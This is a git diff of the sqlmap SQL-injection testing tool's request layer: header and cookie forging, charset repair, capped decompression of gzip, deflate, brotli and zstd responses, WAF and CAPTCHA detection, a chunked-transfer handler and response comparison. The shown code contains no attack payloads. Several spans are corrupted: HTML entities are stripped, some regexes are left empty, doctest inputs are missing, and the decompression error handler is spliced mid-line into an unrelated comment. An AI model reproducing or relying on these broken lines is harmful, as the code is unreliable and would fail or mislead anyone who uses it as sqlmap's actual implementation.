META_CHARSET_REGEX from lib.core.settings import PARSE_HEADERS_LIMIT +from lib.core.settings import PRINTABLE_BYTES +from lib.core.settings import SELECT_FROM_TABLE_REGEX +from lib.core.settings import UNICODE_ENCODING from lib.core.settings import VIEWSTATE_REGEX from lib.parse.headers import headersParser from lib.parse.html import htmlParser -from lib.utils.htmlentities import htmlEntities +from thirdparty import six from thirdparty.chardet import detect -from thirdparty.odict.odict import OrderedDict +from thirdparty.identywaf import identYwaf +from collections import OrderedDict +from thirdparty.six import unichr as _unichr +from thirdparty.six.moves import http_client as _http_client -def forgeHeaders(items=None): +@lockedmethod +def forgeHeaders(items=None, base=None): """ Prepare HTTP Cookie, HTTP User-Agent and HTTP Referer headers to use when performing the HTTP requests @@ -48,11 +77,11 @@ def forgeHeaders(items=None): items = items or {} - for _ in items.keys(): + for _ in list(items.keys()): if items[_] is None: del items[_] - headers = OrderedDict(conf.httpHeaders) + headers = OrderedDict(conf.httpHeaders if base is None else base) headers.update(items.items()) class _str(str): @@ -86,22 +115,27 @@ def title(self): if conf.cj: if HTTP_HEADER.COOKIE in headers: for cookie in conf.cj: - if cookie.domain_specified and not conf.hostname.endswith(cookie.domain): + # Note: a domain-scoped cookie (Domain=example.com) is stored by the cookie jar as + # '.example.com', so a plain endswith() wrongly excludes the apex host itself + # ('example.com' does not end with '.example.com'); accept the exact domain too + if cookie is None or cookie.domain_specified and not ((conf.hostname or "").endswith(cookie.domain) or (conf.hostname or "") == cookie.domain.lstrip('.')): continue - if ("%s=" % cookie.name) in headers[HTTP_HEADER.COOKIE]: + if ("%s=" % getUnicode(cookie.name)) in getUnicode(headers[HTTP_HEADER.COOKIE]): if conf.loadCookies: - conf.httpHeaders = filter(None, ((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders)) + conf.httpHeaders = filterNone((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders) elif kb.mergeCookies is None: - message = "you provided a HTTP %s header value. " % HTTP_HEADER.COOKIE - message += "The target URL provided its own cookies within " - message += "the HTTP %s header which intersect with yours. " % HTTP_HEADER.SET_COOKIE - message += "Do you want to merge them in futher requests? [Y/n] " - _ = readInput(message, default="Y") - kb.mergeCookies = not _ or _[0] in ("y", "Y") + message = "you provided a HTTP %s header value, while " % HTTP_HEADER.COOKIE + message += "target URL provides its own cookies within " + message += "HTTP %s header which intersect with yours. " % HTTP_HEADER.SET_COOKIE + message += "Do you want to merge them in further requests? [Y/n] " + + kb.mergeCookies = readInput(message, default='Y', boolean=True) if kb.mergeCookies and kb.injection.place != PLACE.COOKIE: - _ = lambda x: re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(cookie.name), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), "%s=%s" % (cookie.name, getUnicode(cookie.value)), x) + def _(value): + return re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), value) + headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE]) if PLACE.COOKIE in conf.parameters: @@ -110,14 +144,14 @@ def title(self): conf.httpHeaders = [(item[0], item[1] if item[0] != HTTP_HEADER.COOKIE else _(item[1])) for item in conf.httpHeaders] elif not kb.testMode: - headers[HTTP_HEADER.COOKIE] += "%s %s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, cookie.name, getUnicode(cookie.value)) + headers[HTTP_HEADER.COOKIE] += "%s %s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, getUnicode(cookie.name), getUnicode(cookie.value)) - if kb.testMode and not conf.csrfToken: + if kb.testMode and not any((conf.csrfToken, conf.safeUrl)): resetCookieJar(conf.cj) return headers -def parseResponse(page, headers): +def parseResponse(page, headers, status=None): """ @param page: the page to parse to feed the knowledge base htmlFp (back-end DBMS fingerprint based upon DBMS error messages return @@ -129,8 +163,9 @@ def parseResponse(page, headers): headersParser(headers) if page: - htmlParser(page) + htmlParser(page if not status else "%s\n\n%s" % (status, page)) +@cachedmethod def checkCharEncoding(encoding, warn=True): """ Checks encoding name, repairs common misspellings and adjusts to @@ -142,23 +177,33 @@ def checkCharEncoding(encoding, warn=True): 'utf8' """ + if isinstance(encoding, six.binary_type): + encoding = getUnicode(encoding) + + if isListLike(encoding): + encoding = unArrayizeValue(encoding) + if encoding: encoding = encoding.lower() else: return encoding # Reference: http://www.destructor.de/charsets/index.htm - translate = {"windows-874": "iso-8859-11", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932"} + translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "iso-8859-0": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"} for delimiter in (';', ',', '('): if delimiter in encoding: encoding = encoding[:encoding.find(delimiter)].strip() + encoding = encoding.replace(""", "") + # popular typos/errors if "8858" in encoding: encoding = encoding.replace("8858", "8859") # iso-8858 -> iso-8859 elif "8559" in encoding: encoding = encoding.replace("8559", "8859") # iso-8559 -> iso-8859 + elif "8895" in encoding: + encoding = encoding.replace("8895", "8859") # iso-8895 -> iso-8859 elif "5889" in encoding: encoding = encoding.replace("5889", "8859") # iso-5889 -> iso-8859 elif "5589" in encoding: @@ -187,109 +232,165 @@ def checkCharEncoding(encoding, warn=True): encoding = "ascii" elif encoding.find("utf8") > 0: encoding = "utf8" + elif encoding.find("utf-8") > 0: + encoding = "utf-8" # Reference: http://philip.html5.org/data/charsets-2.html if encoding in translate: encoding = translate[encoding] - elif encoding in ("null", "{charset}", "*") or not re.search(r"\w", encoding): + elif encoding in ("null", "{charset}", "charset", "*") or not re.search(r"\w", encoding): return None # Reference: http://www.iana.org/assignments/character-sets # Reference: http://docs.python.org/library/codecs.html try: codecs.lookup(encoding) - except LookupError: - if warn: - warnMsg = "unknown web page charset '%s'. " % encoding - warnMsg += "Please report by e-mail to 'dev@sqlmap.org'" - singleTimeLogMessage(warnMsg, logging.WARN, encoding) + except (LookupError, ValueError): # ValueError: an attacker-controlled charset with a NUL (e.g. "utf-8\x00") -> "embedded null character" encoding = None + if encoding: + try: + six.text_type(getBytes(randomStr()), encoding) + except (UnicodeDecodeError, LookupError): + if warn: + warnMsg = "invalid web page charset '%s'" % encoding + singleTimeLogMessage(warnMsg, logging.WARN, encoding) + encoding = None + return encoding +@lockedmethod def getHeuristicCharEncoding(page): """ Returns page encoding charset detected by usage of heuristics - Reference: http://chardet.feedparser.org/docs/ + + Reference: https://chardet.readthedocs.io/en/latest/usage.html + + >>> getHeuristicCharEncoding(b"") + 'ascii' + >>> getHeuristicCharEncoding(b'\\xd2\\xe5\\xf1\\xf2\\xc2 \\xf1\\xee\\xee\\xf2\\xe2\\xe5\\xf2\\xf1\\xf2\\xe2\\xe8\\xe8 \\xf1 \\xef\\xf0\\xe8\\xed\\xf6\\xe8\\xef\\xe0\\xec\\xe8 \\xf0\\xe0\\xe1\\xee\\xf2\\xfb \\xf3\\xf2\\xe8\\xeb\\xe8\\xf2\\xfb \\xe0\\xe2\\xf2\\xee\\xec\\xe0\\xf2\\xe8\\xf7\\xe5\\xf1\\xea\\xee\\xe3\\xee \\xee\\xef\\xf0\\xe5\\xe4\\xe5\\xeb\\xe5\\xed\\xe8\\xff \\xea\\xee\\xe4\\xe8\\xf0\\xee\\xe2\\xea\\xe8, \\xed\\xe0\\xec \\xf2\\xf0\\xe5\\xe1\\xf3\\xe5\\xf2\\xf1\\xff \\xef\\xf0\\xe5\\xe4\\xee\\xf1\\xf2\\xe0\\xe2\\xe8\\xf2\\xfc \\xe7\\xed\\xe0\\xf7\\xe8\\xf2\\xe5\\xeb\\xfc\\xed\\xee \\xe1\\xee\\xeb\\xe5\\xe5 \\xe4\\xeb\\xe8\\xed\\xed\\xfb\\xe9 \\xf4\\xf0\\xe0\\xe3\\xec\\xe5\\xed\\xf2 \\xf2\\xe5\\xea\\xf1\\xf2\\xe0 \\xed\\xe0 \\xf0\\xf3\\xf1\\xf1\\xea\\xee\\xec \\xff\\xe7\\xfb\\xea\\xe5. \\xdd\\xf2\\xee \\xed\\xe5\\xee\\xb1\\xf5\\xee\\xe4\\xe8\\xec\\xee \\xe4\\xeb\\xff \\xf2\\xee\\xe3\\xee, \\xf7\\xf2\\xee\\xf1\\xfb \\xf1\\xf2\\xe0\\xf2\\xe8\\xf1\\xf2\\xe8\\xf7\\xe5\\xf1\\xea\\xe8\\xe9 \\xe0\\xed\\xe0\\xeb\\xe8\\xe7\\xe0\\xf2\\xee\\xf0 \\xf7\\xe0\\xf1\\xf2\\xee\\xf2\\xed\\xee\\xf1\\xf2\\xe8 \\xf1\\xe8\\xec\\xe2\\xee\\xeb\\xee\\xe2 \\xe8 \\xe4\\xe2\\xf3\\xf5\\xe1\\xf3\\xea\\xe2\\xe5\\xed\\xed\\xfb\\xf5 \\xf1\\xee\\xf7\\xe5\\xf2\\xe0\\xed\\xe8\\xb9 \\xf1\\xec\\xee\\xe3 \\xf1 \\xe2\\xfb\\xf1\\xee\\xea\\xee\\xb9 \\xf1\\xf2\\xe5\\xef\\xe5\\xed\\xfc\\xf2 \\xf3\\xe2\\xe5\\xf0\\xe5\\xed\\xed\\xee\\xf1\\xf2\\xe8 \\xe7\\xe0\\xf4\\xe8\\xea\\xf1\\xe8\\xf0\\xee\\xe2\\xe0\\xf2\\xfc \\xe8\\xec\\xe5\\xed\\xed\\xee \\xf1\\xf2\\xe0\\xed\\xe4\\xe0\\xf0\\xf2 Windows-1251, \\xe0 \\xed\\xe5 MacCyrillic \\xe8\\xeb\\xe8 ISO-8859-5. \\xd0\\xf3\\xf1\\xf1\\xea\\xe8\\xb9 \\xff\\xe7\\xfb\\xea \\xee\\xe1\\xbb\\xe0\\xe4\\xe0\\xe5\\xf2 \\xf3\\xed\\xe8\\xea\\xe0\\xeb\\xfc\\xed\\xfb\\xec \\xf0\\xe0\\xf1\\xef\\xf0\\xe5\\xe4\\xe5\\xeb\\xe5\\xed\\xe8\\xe5\\xec \\xe3\\xeb\\xe0\\xf1\\xed\\xfb\\xf5 \\xe8 \\xf1\\xee\\xe3\\xeb\\xe0\\xf1\\xed\\xfb\\xf5 \\xe1\\xf3\\xea\\xe2, \\xf2\\xe0\\xea\\xe8\\xf5 \\xea\\xe0\\xea \\xee, \\xe5, \\xe0, \\xe8, \\xed, \\xf2, \\xea\\xee\\xf2\\xee\\xf0\\xfb\\xe5 \\xe2 \\xf0\\xe0\\xe7\\xed\\xfb\\xf5 \\xea\\xee\\xe4\\xee\\xe2\\xfb\\xf5 \\xf1\\xf2\\xf0\\xe0\\xed\\xe8\\xf6\\xe0\\xf5 \\xe7\\xe0\\xed\\xe8\\xec\\xe0\\xf3\\xf2 \\xf1\\xee\\xe2\\xe5\\xf0\\xf8\\xe5\\xed\\xed\\xee \\xf0\\xe0\\xe7\\xed\\xfb\\xe5 \\xef\\xee\\xf7\\xe8\\xf6\\xe8\\xe8 \\xe2 \\xf2\\xe0\\xe1\\xeb\\xe8\\xf6\\xe5 \\xe1\\xe0\\xb9\\xf2\\xee\\xe2. \\xca\\xee\\xe3\\xe4\\xe0 \\xf2\\xe5\\xea\\xf1\\xf2\\xe0 \\xf1\\xf2\\xe0\\xed\\xee\\xe2\\xe8\\xf2\\xf1\\xff \\xe4\\xee\\xf1\\xf2\\xe0\\xf2\\xee\\xf7\\xed\\xee \\xec\\xed\\xee\\xe3\\xee, \\xe2\\xe5\\xf0\\xee\\xff\\xf2\\xed\\xee\\xf1\\xf2\\xfc \\xee\\xf8\\xe8\\xe1\\xea\\xe8 \\xf1\\xed\\xe8\\xe6\\xe0\\xe5\\xf2\\xf1\\xff \\xef\\xf0\\xe0\\xea\\xf2\\xe8\\xf7\\xe5\\xf1\\xea\\xe8 \\xe4\\xee \\xed\\xf3\\xeb\\xff. \\xcc\\xfb \\xe4\\xee\\xe1\\xe0\\xe2\\xeb\\xff\\xe5\\xec \\xe5\\xf9\\xe5 \\xed\\xe5\\xf1\\xea\\xee\\xeb\\xfc\\xea\\xee \\xef\\xf0\\xe5\\xe4\\xeb\\xee\\xe6\\xe5\\xed\\xe8\\xb9, \\xf7\\xf2\\xee\\xf1\\xfb \\xf0\\xe0\\xf1\\xf8\\xe8\\xf0\\xe8\\xf2\\xfc \\xe2\\xfb\\xe1\\xee\\xf0\\xea\\xf3 \\xe4\\xe0\\xed\\xed\\xfb\\xf5 \\xe4\\xeb\\xff \\xea\\xee\\xf0\\xf0\\xe5\\xea\\xf2\\xed\\xee\\xe3\\xee \\xf2\\xe5\\xf1\\xf2\\xe8\\xf0\\xee\\xe2\\xe0\\xed\\xe8\\xff \\xe2\\xe0\\xf8\\xe5\\xb9 \\xe1\\xe8\\xe1\\xeb\\xe8\\xee\\xf2\\xe5\\xea\\xe8 \\xe2 \\xf1\\xf0\\xe5\\xe4\\xe5 Python.') + 'windows-1251' """ - retVal = detect(page)["encoding"] - if retVal: + key = (len(page), hash(page)) + retVal = kb.cache.encoding.get(key) + if retVal is None: + retVal = detect(page[:HEURISTIC_PAGE_SIZE_THRESHOLD])["encoding"] + kb.cache.encoding[key] = retVal + + if retVal and retVal.lower().replace('-', "") == UNICODE_ENCODING.lower().replace('-', ""): infoMsg = "heuristics detected web page charset '%s'" % retVal singleTimeLogMessage(infoMsg, logging.INFO, retVal) return retVal -def decodePage(page, contentEncoding, contentType): +def decodePage(page, contentEncoding, contentType, percentDecode=True): """ Decode compressed/charset HTTP response + + >>> getText(decodePage(b"foo&bar", None, "text/html; charset=utf-8")) + 'foo&bar' + >>> getText(decodePage(b" ", None, "text/html; charset=utf-8")) + '\\t' + >>> getText(decodePage(b"J", None, "text/html; charset=utf-8")) + 'J' + >>> decodePage(b"™", None, "text/html; charset=utf-8") == u"\u2122" + True """ if not page or (conf.nullConnection and len(page) < 2): return getUnicode(page) - if isinstance(contentEncoding, basestring) and contentEncoding.lower() in ("gzip", "x-gzip", "deflate"): + contentEncoding = getText(contentEncoding).lower() if contentEncoding else "" + contentType = getText(contentType).lower() if contentType else "" + + if contentEncoding in ("gzip", "x-gzip", "deflate", "br", "zstd"): if not kb.pageCompress: return None try: - if contentEncoding.lower() == "deflate": - data = StringIO.StringIO(zlib.decompress(page, -15)) # Reference: http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations - else: - data = gzip.GzipFile("", "rb", 9, StringIO.StringIO(page)) - size = struct.unpack(" MAX_CONNECTION_TOTAL_SIZE: + if contentEncoding == "deflate": + obj = zlib.decompressobj(-15) + page = obj.decompress(page, MAX_CONNECTION_TOTAL_SIZE + 1) + + # catch the deflate bomb before flush() forcefully expands it into RAM + if len(page) > MAX_CONNECTION_TOTAL_SIZE: raise Exception("size too large") - page = data.read() - except Exception, msg: - errMsg = "detected invalid data for declared content " - errMsg += "encoding '%s' ('%s')" % (contentEncoding, msg) - singleTimeLogMessage(errMsg, logging.ERROR) + page += obj.flush() + if len(page) > MAX_CONNECTION_TOTAL_SIZE: + raise Exception("size too large") + elif contentEncoding == "br": + page = _brotli.decompress(page, MAX_CONNECTION_TOTAL_SIZE) # in-tree RFC 7932 decoder (bomb-capped) + elif contentEncoding == "zstd": + if _zstd is None: + raise Exception("no Zstandard decoder available") + # bounded streaming decode: cap output at MAX_CONNECTION_TOTAL_SIZE without allocating the + # full result first, and enforce the 8 MB window the HTTP 'zstd' coding mandates + decompressor = _zstd.ZstdDecompressor(options={_zstd.DecompressionParameter.window_log_max: 23}) + page = decompressor.decompress(page, max_length=MAX_CONNECTION_TOTAL_SIZE + 1) + if len(page) > MAX_CONNECTION_TOTAL_SIZE: + raise Exception("size too large") + if not decompressor.eof: + raise Exception("incomplete Zstandard stream") + else: + data = gzip.GzipFile("", "rb", 9, io.BytesIO(page)) + page = data.read(MAX_CONNECTION_TOTAL_SIZE + 1) + if len(page) > MAX_CONNECTION_TOTAL_SIZE: + raise Exception("size too large") + except Exception as ex: + if b"= U+0100; smaller ones already handled at byte-level) + def _(match): + retVal = match.group(0) + try: + retVal = _unichr(int(match.group(1), 16)) + except (ValueError, OverflowError): + pass + return retVal + page = re.sub(r"(?i)&#x([0-9a-f]+);", _, page) + # e.g. ζ - page = re.sub(r"&([^;]+);", lambda _: unichr(htmlEntities[_.group(1)]) if htmlEntities.get(_.group(1), 0) > 255 else _.group(0), page) + page = re.sub(r"&([^;]+);", lambda _: _unichr(HTML_ENTITIES[_.group(1)]) if HTML_ENTITIES.get(_.group(1), 0) > 255 else _.group(0), page) + else: + page = getUnicode(page, kb.pageEncoding) return page -def processResponse(page, responseHeaders): +def processResponse(page, responseHeaders, code=None, status=None): kb.processResponseCounter += 1 - page = page or "" - parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None) + parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None, status) + + if not kb.tableFrom and Backend.getIdentifiedDbms() in (DBMS.ACCESS,): + kb.tableFrom = extractRegexResult(SELECT_FROM_TABLE_REGEX, page) + else: + kb.tableFrom = None if conf.parseErrors: msg = extractErrorMessage(page) if msg: - logger.warning("parsed DBMS error message: '%s'" % msg) + logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.')) + + if not conf.skipWaf and kb.processResponseCounter < IDENTYWAF_PARSE_COUNT_LIMIT: + rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", "".join(getUnicode(responseHeaders.headers if responseHeaders else [])), page[:IDENTYWAF_PARSE_PAGE_LIMIT] if not kb.checkWafMode else page[:HEURISTIC_PAGE_SIZE_THRESHOLD]) + + with kb.locks.identYwaf: + identYwaf.non_blind.clear() + try: + if identYwaf.non_blind_check(rawResponse, silent=True): + for waf in set(identYwaf.non_blind): + if waf not in kb.identifiedWafs: + kb.identifiedWafs.add(waf) + errMsg = "WAF/IPS identified as '%s'" % identYwaf.format_name(waf) + singleTimeLogMessage(errMsg, logging.CRITICAL) + except Exception as ex: + singleTimeWarnMessage("internal error occurred in WAF/IPS detection ('%s')" % getSafeExString(ex)) if kb.originalPage is None: for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX): @@ -329,9 +461,37 @@ def processResponse(page, responseHeaders): if PLACE.POST in conf.paramDict and name in conf.paramDict[PLACE.POST]: if conf.paramDict[PLACE.POST][name] in page: continue - conf.paramDict[PLACE.POST][name] = value - conf.parameters[PLACE.POST] = re.sub("(?i)(%s=)[^&]+" % name, r"\g<1>%s" % value, conf.parameters[PLACE.POST]) + else: + msg = "do you want to automatically adjust the value of '%s'? [y/N]" % name + + if not readInput(msg, default='N', boolean=True): + continue + + conf.paramDict[PLACE.POST][name] = value + conf.parameters[PLACE.POST] = re.sub(r"(?i)(%s=)[^&]+" % re.escape(name), r"\g<1>%s" % value.replace('\\', r'\\'), conf.parameters[PLACE.POST]) + + if not kb.browserVerification and re.search(r"(?i)browser.?verification", page or ""): + kb.browserVerification = True + warnMsg = "potential browser verification protection mechanism detected" + if re.search(r"(?i)CloudFlare", page): + warnMsg += " (CloudFlare)" + singleTimeWarnMessage(warnMsg) + + if not kb.captchaDetected and re.search(r"(?i)captcha", page or ""): + for match in re.finditer(r"(?si)", page): + if re.search(r"(?i)captcha", match.group(0)): + kb.captchaDetected = True + break + + if re.search(r"]+\brefresh\b[^>]+\bcaptcha\b", page): + kb.captchaDetected = True + + if kb.captchaDetected: + warnMsg = "potential CAPTCHA protection mechanism detected" + if re.search(r"(?i)[^<]*CloudFlare", page): + warnMsg += " (CloudFlare)" + singleTimeWarnMessage(warnMsg) if re.search(BLOCKED_IP_REGEX, page): - errMsg = "it appears that you have been blocked by the target server" - singleTimeLogMessage(errMsg, logging.ERROR) + warnMsg = "it appears that you have been blocked by the target server" + singleTimeWarnMessage(warnMsg) diff --git a/lib/request/basicauthhandler.py b/lib/request/basicauthhandler.py index 487dac387ff..878e5a8a54b 100644 --- a/lib/request/basicauthhandler.py +++ b/lib/request/basicauthhandler.py @@ -1,19 +1,20 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import urllib2 +from thirdparty.six.moves import urllib as _urllib -class SmartHTTPBasicAuthHandler(urllib2.HTTPBasicAuthHandler): +class SmartHTTPBasicAuthHandler(_urllib.request.HTTPBasicAuthHandler): """ Reference: http://selenic.com/hg/rev/6c51a5056020 Fix for a: http://bugs.python.org/issue8797 """ + def __init__(self, *args, **kwargs): - urllib2.HTTPBasicAuthHandler.__init__(self, *args, **kwargs) + _urllib.request.HTTPBasicAuthHandler.__init__(self, *args, **kwargs) self.retried_req = set() self.retried_count = 0 @@ -30,10 +31,8 @@ def http_error_auth_reqed(self, auth_header, host, req, headers): self.retried_count = 0 else: if self.retried_count > 5: - raise urllib2.HTTPError(req.get_full_url(), 401, "basic auth failed", - headers, None) + raise _urllib.error.HTTPError(req.get_full_url(), 401, "basic auth failed", headers, None) else: self.retried_count += 1 - return urllib2.HTTPBasicAuthHandler.http_error_auth_reqed( - self, auth_header, host, req, headers) + return _urllib.request.HTTPBasicAuthHandler.http_error_auth_reqed(self, auth_header, host, req, headers) diff --git a/lib/request/chunkedhandler.py b/lib/request/chunkedhandler.py new file mode 100644 index 00000000000..4fface114ac --- /dev/null +++ b/lib/request/chunkedhandler.py @@ -0,0 +1,49 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import conf +from lib.core.enums import HTTP_HEADER +from thirdparty.six.moves import urllib as _urllib + +class ChunkedHandler(_urllib.request.HTTPHandler): + """ + Ensures that HTTPHandler is working properly in case of Chunked Transfer-Encoding + """ + + # Note: run after urllib's own request munging so that a Content-Length it may have added (the + # HTTPS path on Python 2 adds one unconditionally) is present to be stripped when '--chunked' + handler_order = _urllib.request.HTTPHandler.handler_order + 1 + + def _http_request(self, request): + host = request.get_host() if hasattr(request, "get_host") else request.host + if not host: + raise _urllib.error.URLError("no host given") + + if request.data is not None: # POST + data = request.data + if not request.has_header(HTTP_HEADER.CONTENT_TYPE): + request.add_unredirected_header(HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded") + if conf.chunked: # Content-Length must not accompany 'Transfer-Encoding: chunked' + for store in (request.headers, request.unredirected_hdrs): + for name in [_ for _ in store if _.lower() == HTTP_HEADER.CONTENT_LENGTH.lower()]: + del store[name] + elif not request.has_header(HTTP_HEADER.CONTENT_LENGTH): + request.add_unredirected_header(HTTP_HEADER.CONTENT_LENGTH, "%d" % len(data)) + + sel_host = host + if request.has_proxy(): + sel_host = _urllib.parse.urlsplit(request.get_selector()).netloc + + if not request.has_header(HTTP_HEADER.HOST): + request.add_unredirected_header(HTTP_HEADER.HOST, sel_host) + for name, value in self.parent.addheaders: + name = name.capitalize() + if not request.has_header(name): + request.add_unredirected_header(name, value) + return request + + http_request = https_request = _http_request diff --git a/lib/request/comparison.py b/lib/request/comparison.py index 7028b364f14..89133835362 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -1,33 +1,68 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from __future__ import division + import re from lib.core.common import extractRegexResult +from lib.core.common import extractStructuralTokens from lib.core.common import getFilteredPageContent +from lib.core.common import jsonMinimize from lib.core.common import listToStrValue from lib.core.common import removeDynamicContent +from lib.core.common import getLastRequestHTTPError from lib.core.common import wasLastResponseDBMSError from lib.core.common import wasLastResponseHTTPError +from lib.core.convert import getBytes from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.enums import HTTP_HEADER from lib.core.exception import SqlmapNoneDataException from lib.core.settings import DEFAULT_PAGE_ENCODING from lib.core.settings import DIFF_TOLERANCE from lib.core.settings import HTML_TITLE_REGEX -from lib.core.settings import MIN_RATIO +from lib.core.settings import LOWER_RATIO_BOUND +from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH from lib.core.settings import MAX_RATIO +from lib.core.settings import MIN_RATIO from lib.core.settings import REFLECTED_VALUE_MARKER -from lib.core.settings import LOWER_RATIO_BOUND from lib.core.settings import UPPER_RATIO_BOUND +from lib.core.settings import URI_HTTP_HEADER from lib.core.threads import getCurrentThreadData +from thirdparty import six + +def _isJsonResponse(headers): + """ + Returns True if the response Content-Type plausibly indicates a JSON document - i.e. the canonical + 'application/json', the common misservings ('text/json', 'application/javascript', ...), or a + structured suffix like 'application/vnd.api+json'. Being liberal here is safe: jsonMinimize() returns + None for anything that is not actually parseable JSON, so a mislabelled body simply falls back to the + normal text comparison. + """ + + retVal = False + + if headers: + contentType = (headers.get(HTTP_HEADER.CONTENT_TYPE) or "").split(';')[0].strip().lower() + retVal = contentType in ("application/json", "text/json", "application/javascript", "text/javascript", "application/x-javascript") or contentType.endswith("+json") + + return retVal def comparison(page, headers, code=None, getRatioValue=False, pageLength=None): + if not isinstance(page, (six.text_type, six.binary_type, type(None))): + logger.critical("got page of type %s; repr(page)[:200]=%s" % (type(page), repr(page)[:200])) + + try: + page = b"".join(page) + except: + page = six.text_type(page) + _ = _adjust(_comparison(page, headers, code, getRatioValue, pageLength), getRatioValue) return _ @@ -47,25 +82,29 @@ def _comparison(page, headers, code, getRatioValue, pageLength): threadData = getCurrentThreadData() if kb.testMode: - threadData.lastComparisonHeaders = listToStrValue(headers.headers) if headers else "" + threadData.lastComparisonHeaders = listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "" threadData.lastComparisonPage = page + threadData.lastComparisonCode = code if page is None and pageLength is None: return None - seqMatcher = threadData.seqMatcher - seqMatcher.set_seq1(kb.pageTemplate) - if any((conf.string, conf.notString, conf.regexp)): - rawResponse = "%s%s" % (listToStrValue(headers.headers) if headers else "", page) + rawResponse = "%s%s" % (listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "", page) - # String to match in page when the query is True and/or valid + # String to match in page when the query is True if conf.string: return conf.string in rawResponse - # String to match in page when the query is False and/or invalid + # String to match in page when the query is False if conf.notString: - return conf.notString not in rawResponse + if conf.notString in rawResponse: + return False + else: + if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()): + return None + else: + return True # Regular expression to match in page when the query is True and/or valid if conf.regexp: @@ -75,15 +114,36 @@ def _comparison(page, headers, code, getRatioValue, pageLength): if conf.code: return conf.code == code + # Response content length to match when the query is True + if conf.lengths: + return len(page or "") == kb.trueLength + + seqMatcher = threadData.seqMatcher + seqMatcher.set_seq1(kb.pageTemplate) + + # raw (pre-dynamic-removal) body, kept for the structured (JSON) comparison path below; + # parsing the raw form avoids removeDynamicContent splicing JSON mid-token + rawPage = page + if page: # In case of an DBMS error page return None if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()) and not kb.negativeLogic: - return None + if not (wasLastResponseHTTPError() and getLastRequestHTTPError() in (conf.ignoreCode or [])): + return None # Dynamic content lines to be excluded before comparison if not kb.nullConnection: page = removeDynamicContent(page) - seqMatcher.set_seq1(removeDynamicContent(kb.pageTemplate)) + if threadData.lastPageTemplate != kb.pageTemplate: + threadData.lastPageTemplateCleaned = removeDynamicContent(kb.pageTemplate) + # Same template-identity memoization for the structure-aware projections (see below): the + # template is constant across an extraction, so it must not be re-parsed/re-tokenized on + # every inference request - only seq2 (from the live page) is recomputed per response + threadData.lastPageTemplateJsonMinimized = jsonMinimize(kb.pageTemplate) + threadData.lastPageTemplateStructural = "\n".join(sorted(extractStructuralTokens(kb.pageTemplate))) + threadData.lastPageTemplate = kb.pageTemplate + + seqMatcher.set_seq1(threadData.lastPageTemplateCleaned) if not pageLength: pageLength = len(page) @@ -102,60 +162,94 @@ def _comparison(page, headers, code, getRatioValue, pageLength): else: # Preventing "Unicode equal comparison failed to convert both arguments to Unicode" # (e.g. if one page is PDF and the other is HTML) - if isinstance(seqMatcher.a, str) and isinstance(page, unicode): - page = page.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, 'ignore') - elif isinstance(seqMatcher.a, unicode) and isinstance(page, str): - seqMatcher.a = seqMatcher.a.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, 'ignore') - - seq1, seq2 = None, None - - if conf.titles: - seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a) - seq2 = extractRegexResult(HTML_TITLE_REGEX, page) - else: - seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a - seq2 = getFilteredPageContent(page, True) if conf.textOnly else page + if isinstance(seqMatcher.a, six.binary_type) and isinstance(page, six.text_type): + page = getBytes(page, kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore") + elif isinstance(seqMatcher.a, six.text_type) and isinstance(page, six.binary_type): + seqMatcher.set_seq1(getBytes(seqMatcher.a, kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore")) - if seq1 is None or seq2 is None: + 